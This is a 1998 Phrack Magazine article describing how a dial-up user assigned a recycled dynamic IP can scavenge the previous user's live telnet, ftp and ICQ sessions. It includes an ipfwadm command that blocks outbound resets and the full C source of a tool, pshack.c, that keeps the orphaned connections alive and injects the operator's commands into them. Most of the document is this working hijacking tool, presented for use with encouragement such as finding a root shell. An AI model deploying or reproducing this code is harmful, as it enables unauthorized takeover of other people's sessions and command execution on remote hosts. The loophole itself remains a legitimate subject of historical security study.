---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 07 of 12 -------------------------[ Scavenging Connections On Dynamic-IP Networks --------[ Seth McGann (www.el8.org) 11.29.98 ----[ Purpose This paper will highlight a potentially serious loophole in networks that rely on dynamic IP assignment. More specifically, dial-up dynamic IP assignment provided by almost every Internet Service Provider. This problem will allow the unauthorized use of the previous host's connections, for instance, in progress telnet and ftp control sessions. This issue is reminiscent of the problem where terminal servers would sometimes provide an already logged in session to a user lucky enough to call precisely after a forced disconnect due to line noise or other outside factor. ----[ The Problem To perform this feat we rely on some well know concepts, usually employed for non-blind spoofing or session hijacking. First, we have to understand what a connection looks like after an abrupt loss of service. The key point is that the connection does not simply disappear, because there is no way for the disconnected host to notify the remote end that it has lost its link. If the remote end tries to send more data and there is no host available, the upstream router will generate an ICMP unreachable and the connection will be terminated. If another dial-up user connects before the remote end has sent any more data the story is different. For a TCP based connection, the kernel will see a packet going to an unconnected port, usually with PUSH and ACK set or simply ACK, and will generate a RST, ending the connection. For an incident UDP packet, an ICMP unreachable is generated. Either way the connection will evaporate. ----[ The Solution Solving the problem is twofold. We must first prevent the kernel from killing the connections and second we must make sure the remote end knows we are still alive, to prevent timeouts. For UDP the answer is very simple. As long as we block outbound ICMP unreachable packets the remote end won't disconnect. Application timeouts must be dealt with, of course. For TCP we have a bigger problem, since the connections will die if not responded to. To prevent our poisonous RST packets from reaching the remote side we simply block all outbound TCP traffic. To keep the dialogue going, we simply ACK all incident PUSH|ACK packets and increment the ACK and SEQ numbers accordingly. We recover data from packets with the PUSH flag set. Additionally we can send data back down the connection by setting the PUSH and ACK flags on our outbound packets. ----[ Implementation To stop our kernel from killing the latent connections, we first block all outbound traffic. Under linux a command such as the following would be effective: /sbin/ipfwadm -O -a deny -S 0.0.0.0/0 -P all -W ppp0 Now, no RST packets or ICMP will get out. We are essentially turning off kernel networking support and handling all the details ourselves. This will not allow us to send using raw sockets, unfortunately. SOCK_PACKET could be used, but in the interests of portability the firewall is simply opened to send a packet and then closed. To be useful on a larger number of platforms, libpcap 0.4 was used for pulling packets off the wire and Libnet 0.8b was used for putting them back again. The program itself is called pshack.c because that's basically all it does. Additionally, it will allow you respond to in progress connections just in case you find a root shell. It will also accept inbound connections, and allow you to reply to them. Note, this will only work on Linux right now, due to the differences in handling of the firewall. This is very minor and will be fixed soon. It should compile without incident on RedHat 5.1 or 4.2 and on Slackware as well, given one change to the ip firewall header file, namely taking out the #include line. ----[ Conclusions Using this program it is easy to scavenge telnet and ftp control sessions, or basically any low traffic, idle connection. Grabbing ICQ sessions is a good example of a UDP based scavenge. Obviously, streaming connections, such as ftp data will be ICMP to death before they can be scavenged. It's interesting to note that hosts that drop ICMP unreachable packets, for fear of forged unreachable packets, are particularly vulnerable as they will not lose the connection as quickly. Required: libpcap 0.4 -> ftp://ftp.ee.lbl.gov/libpcap.tar.Z Libnet 0.8b -> http://www.infonexus.com/~daemon9/Projects/Libnet/ <++> scavenge/pshack.c /* - PshAck.c - Attempts to scavenge connections when you dial up an ISP. * Author: Seth McGann / www.el8.org (Check papers section) * Date: 11/29/98 * Greets: dmess0r,napster,awr,all things w00w00,#203 * Version: 0.3 * * Usage: * 1. Dial up your ISP and start pshack up. * 2. If you are lucky you will see connections you did not * make :) * 3. Repeat the procedure. * Options: * -i: The interface * -l: Link offset * -s: Your source IP * * Compiling: 'gcc pshack.c -o pshack -lnet -lpcap' should work given you have * libpcap and Libnet installed properly. * * libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z * Libnet 0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/ * * Have fun! */ #define __BSD_SOURCE #include #define __FAVOR_BSD #include #include #include #include #include #include #include #include #include #include #include #include #include /* #define DEBUGIT */ #ifdef DEBUGIT #define DEFAULT_INTERFACE "eth1" #define DEFAULT_OFFSET 14 #else #define DEFAULT_INTERFACE "ppp0" /* Default is PPP with no linklayer */ #define DEFAULT_OFFSET 0 #endif struct conn { u_int type; u_long src,dst,seq,ack; u_short sport,dport; }; void clean_exit(int); void time_out(int); void usage(char *); void dump_packet( u_char *, int ); int update_db( u_char *, int, struct conn*); void dump_db (struct conn*); char errbuf[2000]; sigjmp_buf env; int main (int argc, char **argv) { struct ip *ip_hdr; struct tcphdr *tcp_hdr; struct udphdr *udp_hdr; struct ip_fw fw; struct ifreq ifinfo; struct pcap_pkthdr ph; pcap_t *pd; u_long local=0,seq,ack; u_short flags=0; u_char *d_ptr,*packet; u_char *pbuf=malloc(TCP_H+IP_H+500); char iface[17],sendbuf[500]; int osock,sfd,linkoff,i,datalen,newsize,dbsize=0; struct conn conn[100]; /* WAY more than enough */ char arg; fd_set rfds; struct timeval tv; int retval; char user[500]; strcpy(iface,DEFAULT_INTERFACE); linkoff=DEFAULT_OFFSET; while((arg = getopt(argc,argv,"i:s:l:")) != EOF){ switch(arg) { case 's': local=inet_addr(optarg); break; case 'i': strncpy(iface,optarg,16); break; case 'l': linkoff=atoi(optarg); break; default: usage(argv[0]); break; } } printf("* Blocking till %s comes up *\n",iface); do {pd=pcap_open_live(iface,1500,0,500,errbuf);}while(!pd); printf("* Configuring Raw Output *\n"); osock=open_raw_sock(IPPROTO_RAW); if (osock<0)perror("socket()"),exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,iface); if(ioctl(osock,SIOCGIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1); if(ioctl(osock,SIOCSIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1); if(ioctl(osock,SIOCGIFADDR,&ifinfo)<0)perror("ioctl()"),exit(1); bcopy(&ifinfo.ifr_addr.sa_data[2],&local,4); printf("* Address: %s\n",host_lookup(local,0)); printf("* Blocking Outbound on %s *\n",iface); sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); if(sfd<0) perror("socket()"),exit(1); bzero(&fw,sizeof(fw)); strcpy(fw.fw_vianame,iface); #ifdef DEBUGIT fw.fw_flg=IP_FW_F_ICMP; if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0) perror("setsockopt()"),exit(1); fw.fw_flg=IP_FW_F_TCP; fw.fw_nsp=1; fw.fw_pts[0]=666; #endif if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0) perror("setsockopt()"),exit(1); signal(SIGTERM,clean_exit); signal(SIGINT,clean_exit); signal(SIGALRM,time_out); printf("* Entering Capture Loop *\n\n"); printf("* Commands [1] Dump databese\n" " [2] Send on connection Ex: 2 1 ls -al\n" " [3] Exit\n\n"); sigsetjmp(env,1); FD_ZERO(&rfds); FD_SET(0, &rfds); tv.tv_sec = 0; tv.tv_usec = 0; retval = select(1, &rfds, NULL, NULL, &tv); if (retval) { retval=read(1,user,sizeof(user)); user[retval]=0; switch(user[0]) { case '1': dump_db(conn); break; case '2': i=atoi(&user[2]); if (i > dbsize) { printf("* Invalid connection index) *\n"); break; } build_ip(TCP_H, 101, 0, IP_DF, 128, IPPROTO_TCP, local, htonl(conn[i].src), NULL, 0, pbuf); build_tcp(conn[i].dport, conn[i].sport, conn[i].seq, conn[i].ack, TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4), pbuf + IP_H); do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4)); setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw)); write_ip(osock, pbuf, TCP_H + IP_H + strlen(user+4)); setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw)); printf("Sent: %s\n",user+4); break; case '3': clean_exit(1); break; default: break; } } alarm(1); for(;packet=pcap_next(pd,&ph);) { ip_hdr = (struct ip *)(packet + linkoff); switch(ip_hdr->ip_p) { case IPPROTO_TCP: tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl)); dump_packet(packet,linkoff); #ifdef DEBUGIT if ((ntohl(ip_hdr->ip_src.s_addr) != local) && ntohs(tcp_hdr->th_dport)==666) { #else if (ntohl(ip_hdr->ip_src.s_addr) != local) { #endif newsize=update_db(packet, linkoff, conn); if(newsize>dbsize) { printf("New Connect:\n"); dbsize=newsize;} if (tcp_hdr->th_flags&TH_PUSH || (tcp_hdr->th_flags&TH_SYN && tcp_hdr->th_flags&TH_ACK)) { datalen=ntohs(ip_hdr->ip_len)-IP_H-TCP_H; if(!datalen) datalen++; seq=ntohl(tcp_hdr->th_ack); ack=ntohl(tcp_hdr->th_seq)+datalen; flags=TH_ACK; } else if(tcp_hdr->th_flags&TH_SYN) { seq=get_prand(PRu32); ack=ntohl(tcp_hdr->th_seq)+1; flags=TH_SYN|TH_ACK; } if(flags) { build_ip(TCP_H, 101, 0, IP_DF, 128, IPPROTO_TCP, local, ip_hdr->ip_src.s_addr, NULL, 0, pbuf); build_tcp(ntohs(tcp_hdr->th_dport), ntohs(tcp_hdr->th_sport), seq, ack, flags, 31000, 0, NULL, 0, pbuf + IP_H); do_checksum(pbuf, IPPROTO_TCP, TCP_H); setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw)); write_ip(osock, pbuf, TCP_H + IP_H); setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw)); flags=0; } } break; case IPPROTO_UDP: dump_packet(packet,linkoff); break; default: break; } } } void dump_packet( u_char *packet, int linkoff ) { struct ip *ip_hdr; struct tcphdr *tcp_hdr; struct udphdr *udp_hdr; u_char *d_ptr; u_int i; ip_hdr = (struct ip *)(packet + linkoff); switch (ip_hdr->ip_p) { case IPPROTO_TCP: tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl)); printf("********************\n"); printf("TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n " "Flags: %c%c%c%c%c%c Data Len: %d\n", host_lookup(ip_hdr->ip_src.s_addr,0), ntohs(tcp_hdr->th_sport), host_lookup(ip_hdr->ip_dst.s_addr,0), ntohs(tcp_hdr->th_dport), ntohl(tcp_hdr->th_seq), ntohl(tcp_hdr->th_ack), (tcp_hdr->th_flags & TH_URG) ? 'U' : '-', (tcp_hdr->th_flags & TH_ACK) ? 'A' : '-', (tcp_hdr->th_flags & TH_PUSH) ? 'P' : '-', (tcp_hdr->th_flags & TH_RST) ? 'R' : '-', (tcp_hdr->th_flags & TH_SYN) ? 'S' : '-', (tcp_hdr->th_flags & TH_FIN) ? 'F' : '-', ntohs(ip_hdr->ip_len)-IP_H-TCP_H); d_ptr=packet+linkoff+TCP_H+IP_H; for(i=0;i<(ntohs(ip_hdr->ip_len)-IP_H-TCP_H);i++) if (d_ptr[i]=='\n') printf("\n"); else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F) printf("%c",d_ptr[i]); else printf ("."); printf("\n"); break; case IPPROTO_UDP: udp_hdr=(struct udphdr*)(((char*)ip_hdr) + (4 * ip_hdr->ip_hl)); printf("********************\n"); printf("UDP: %s.%d->%s.%d Data Len: %d\n", host_lookup(ip_hdr->ip_src.s_addr,0), ntohs(udp_hdr->uh_sport), host_lookup(ip_hdr->ip_dst.s_addr,0), ntohs(udp_hdr->uh_dport), ntohs(ip_hdr->ip_len)-IP_H-UDP_H); d_ptr=packet+linkoff+UDP_H+IP_H; for(i=0;i<(ntohs(udp_hdr->uh_ulen)-UDP_H);i++) if (d_ptr[i]=='\n') printf("\n"); else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F) printf("%c",d_ptr[i]); else printf("."); printf("\n"); break; default: /* We ignore everything else */ break; } } void clean_exit(int val) { int sfd,p=0; sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); if (sfd<0) perror("socket()"),exit(1); if(setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0) perror("setsockopt()"),exit(1); exit(0); } void usage(char *arg) { printf("%s: [options]\n" " -i: The interface\n" " -l: Link offset\n" " -s: Your source IP\n\n",arg); exit(0); } void dump_db (struct conn *conn) { int i; for(i=0;conn[i].type;i++) if(conn[i].type==IPPROTO_TCP) printf("%d: TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n", i, host_lookup(htonl(conn[i].src),0),conn[i].sport, host_lookup(htonl(conn[i].dst),0), conn[i].dport, conn[i].seq,conn[i].ack); else if(conn[i].type==IPPROTO_UDP) printf("%d: UDP: %s.%d->%s.%d\n", i, host_lookup(htonl(conn[i].src),0),conn[i].sport, host_lookup(htonl(conn[i].dst),0), conn[i].dport); else break; } int update_db( u_char *packet, int linkoff, struct conn *conn) { struct ip *ip_hdr; struct tcphdr *tcp_hdr; struct udphdr *udp_hdr; int i=0; ip_hdr = (struct ip *)(packet + linkoff); switch(ip_hdr->ip_p) { case IPPROTO_TCP: tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl)); for(i=0;conn[i].type;i++) if(conn[i].type==IPPROTO_TCP) if(ip_hdr->ip_src.s_addr==htonl(conn[i].src)) if(ip_hdr->ip_dst.s_addr==htonl(conn[i].dst)) if(ntohs(tcp_hdr->th_sport)==conn[i].sport) if(ntohs(tcp_hdr->th_dport)==conn[i].dport) break; if(conn[i].type) { conn[i].seq=ntohl(tcp_hdr->th_ack); conn[i].ack=ntohl(tcp_hdr->th_seq); } else { conn[i].type=IPPROTO_TCP; conn[i].src=ntohl(ip_hdr->ip_src.s_addr); conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr); conn[i].sport=ntohs(tcp_hdr->th_sport); conn[i].dport=ntohs(tcp_hdr->th_dport); conn[i].seq=ntohl(tcp_hdr->th_ack); conn[i].ack=ntohl(tcp_hdr->th_seq); } break; case IPPROTO_UDP: udp_hdr=(struct udphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl)); for(i=0;conn[i].type;i++) if(conn[i].type==IPPROTO_TCP) if(ntohl(ip_hdr->ip_src.s_addr)==conn[i].src) if(ntohl(ip_hdr->ip_dst.s_addr)==conn[i].dst) if(ntohs(udp_hdr->uh_sport)==conn[i].sport) if(ntohs(udp_hdr->uh_dport)==conn[i].dport) break; if(!conn[i].type) { conn[i].type=IPPROTO_UDP; conn[i].src=ntohl(ip_hdr->ip_src.s_addr); conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr); conn[i].sport=ntohs(udp_hdr->uh_sport); conn[i].dport=ntohs(udp_hdr->uh_dport); } break; default: /* We Don't care */ break; } return i; } void time_out(int blank) { alarm(0); siglongjmp(env,1); } /* EOF */ <--> ----[ EOF